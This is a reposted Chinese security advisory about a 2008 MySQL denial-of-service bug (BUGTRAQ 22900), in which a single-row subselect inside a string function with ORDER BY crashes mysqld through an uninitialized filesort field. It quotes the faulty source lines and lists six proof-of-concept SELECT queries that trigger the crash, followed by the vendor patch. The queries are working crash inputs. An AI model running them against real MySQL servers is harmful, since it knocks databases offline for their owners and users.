MySQL单行子选择远程拒绝服务漏洞
2008-08-30 11:07:35 来源:WEB开发网受影响系统:
MySQL AB MySQL < 5.0.37
不受影响系统:
MySQL AB MySQL 5.0.37
描述:
BUGTRAQ ID: 22900
MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。MySQL在处理特定畸形请求时存在漏洞,远程攻击者可能利用此漏洞在导致MySQL进程崩溃。
如果MySQL用户在字符串函数中使用了子选择的话,就会调用Item_singlerow_subselect::val_str()。由于无需分类整理单行子选择的结果,因此不会初始化所分配结构st_table中的某些字段,具体来讲是sort->io_cache字段。但如果在查询中使用了 ORDER BY,就会对表格运行filesort(),filesort()中的错误处理例程在引用未初始化字段值出现段访问错误:
libmysqld/filesort.cc:
111FILESORT_INFOtable_sort;
(...)
117memcpy(&table_sort,&table->sort,sizeof(FILESORT_INFO));
120outfile=table_sort.io_cache;
(..)
269err:
(..)
276if(my_b_inited(outfile))
include/my_sys.h:
503 #define my_b_inited(info) (info)->buffer
这可能会触发空指针引用,导致mysqld崩溃。
<*来源:S.Streichsbier B.Mueller 链接:http://www.sec-consult.com/284.html*>
测试方法:
(警告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!)
SELECTASCII((SELECTtable_nameFROMinformation_schema.columnsORDERBY1));
SELECTTRIM(LEADINGFROM(SELECTtable_nameFROMinformation_schema.columnsORDERBY1));
SELECTSUBSTR((SELECTtable_nameFROMinformation_schema.tablesORDERBY1),1,1);
SELECTUPPER((SELECTtable_nameFROMinformation_schema.tablesORDERBY1));
SELECTRTRIM((SELECTtable_nameFROMinformation_schema.tablesORDERBY1));
SELECTRPAD((SELECTtable_nameFROMinformation_schema.tablesORDERBY1),1,'lol');
建议:
厂商补丁:
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://dev.mysql.com/downloads/mysql/5.0.html#downloads
- ››MySql数据库插入式的多存储引擎机制
- ››MySQL和PDO测试对比
- ››MySQL大表中重复字段的查询效率方法
- ››MySQL中BLOB字段类型介绍
- ››mysql 数据库查询随机数量条目的效率问题及解决办...
- ››MySQL中两种索引Hash与B-Tree的区别
- ››MySql存储过程 带参数处理方式
- ››MySQL数据表在phpmyadmin中的强制修复
- ››MySQL 5 乱码问题处理办法
- ››mysql sql语法错误 1149
- ››MySQL 1040 错误 Too many connections
- ››MySQL client ran out of memory(2008)
更多精彩
赞助商链接